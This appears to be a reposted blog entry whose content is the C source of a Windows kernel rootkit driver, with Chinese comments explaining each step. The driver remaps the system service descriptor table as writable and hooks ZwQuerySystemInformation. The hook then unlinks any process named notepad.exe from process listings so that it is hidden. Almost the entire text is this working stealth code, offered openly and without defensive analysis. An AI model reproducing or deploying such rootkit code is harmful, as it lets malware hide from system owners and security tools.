1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 |
#include "ntddk.h" #define BOOL int #pragma pack(1) typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; //仅适用于checked build版本 unsigned int NumberOfServices; unsigned char *ParamTableBase; } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t; #pragma pack() __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; //获得SSDT基址宏 #define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)] //获得函数在SSDT中的索引宏 #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1) //调换自己的hook函数与原系统函数的地址 #define HOOK_SYSCALL(_Function, _Hook, _Orig ) \ _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook) //卸载hook函数 #define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) \ InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook) PMDL g_pmdlSystemCall; PVOID *MappedSystemCallTable; //以下为隐藏进程用的结构 struct _SYSTEM_THREADS { LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER CreateTime; ULONG WaitTime; PVOID StartAddress; CLIENT_ID ClientIs; KPRIORITY Priority; KPRIORITY BasePriority; ULONG ContextSwitchCount; ULONG ThreadState; KWAIT_REASON WaitReason; }; struct _SYSTEM_PROCESSES { ULONG NextEntryDelta; ULONG ThreadCount; ULONG Reserved[6]; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ProcessName; KPRIORITY BasePriority; ULONG ProcessId; ULONG InheritedFromProcessId; ULONG HandleCount; ULONG Reserved2[2]; VM_COUNTERS VmCounters; IO_COUNTERS IoCounters; //windows 2000 only struct _SYSTEM_THREADS Threads[1]; }; // Added by Creative of rootkit.com struct _SYSTEM_PROCESSOR_TIMES { LARGE_INTEGER IdleTime; LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER DpcTime; LARGE_INTEGER InterruptTime; ULONG InterruptCount; }; NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength); typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)( ULONG SystemInformationCLass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation; LARGE_INTEGER m_UserTime; LARGE_INTEGER m_KernelTime; //我们的hook函数,过滤掉notepad.exe的进程 NTSTATUS NewZwQuerySystemInformation( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength) { NTSTATUS ntStatus; ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) ( SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength ); if( NT_SUCCESS(ntStatus)) { // Asking for a file and directory listing if(SystemInformationClass == 5) { // 列举系统进程链表 struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation; struct _SYSTEM_PROCESSES *prev = NULL; while(curr) { if (curr->ProcessName.Buffer != NULL) { if(0 == memcmp(curr->ProcessName.Buffer, L"notepad.exe", 22)) { //m_UserTime.QuadPart += curr->UserTime.QuadPart; //m_KernelTime.QuadPart += curr->KernelTime.QuadPart; if(prev) // Middle or Last entry { if(curr->NextEntryDelta) prev->NextEntryDelta += curr->NextEntryDelta; else // we are last, so make prev the end prev->NextEntryDelta = 0; } else { if(curr->NextEntryDelta) { // we are first in the list, so move it forward (char *)SystemInformation += curr->NextEntryDelta; } else // 唯一的进程 SystemInformation = NULL; } } } else // Idle process入口 { // 把_root_进程的时间加给Idle进程,Idle称空闲时间 // curr->UserTime.QuadPart += m_UserTime.QuadPart; // curr->KernelTime.QuadPart += m_KernelTime.QuadPart; // 重设时间,为下一次过滤 // m_UserTime.QuadPart = m_KernelTime.QuadPart = 0; } prev = curr; if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta); else curr = NULL; } } } return ntStatus; } VOID OnUnload(IN PDRIVER_OBJECT DriverObject) { DbgPrint("ROOTKIT: OnUnload called\n"); // 卸载hook UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation ); // 解索并释放MDL if(g_pmdlSystemCall) { MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall); IoFreeMdl(g_pmdlSystemCall); } } NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath) { DbgPrint("ROOTKIT: Start\n"); theDriverObject->DriverUnload = OnUnload; // 初始化全局时间为零 // 这将会解决时间问题,如果不这样,尽管隐藏了进程,但时间的消耗会不变,cpu 100% m_UserTime.QuadPart = m_KernelTime.QuadPart = 0; OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)); g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4); // 储存旧的函数地址 if(!g_pmdlSystemCall) { return STATUS_UNSUCCESSFUL; } MmBuildMdlForNonPagedPool(g_pmdlSystemCall); // 改变MDL的Flags属性为可写,既然可写当然可读,可执行 g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA; MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode); // 用了宏,把原来的Zw*替换成我们的New*函数。至此已完成了我们的主要两步,先突破了SSDT的保护,接着用宏更改了目标函数,下来就剩下具体的过滤任务了 HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation ); return STATUS_SUCCESS; } |
转载请注明:exchen's blog » Ring0 下实现进程隐藏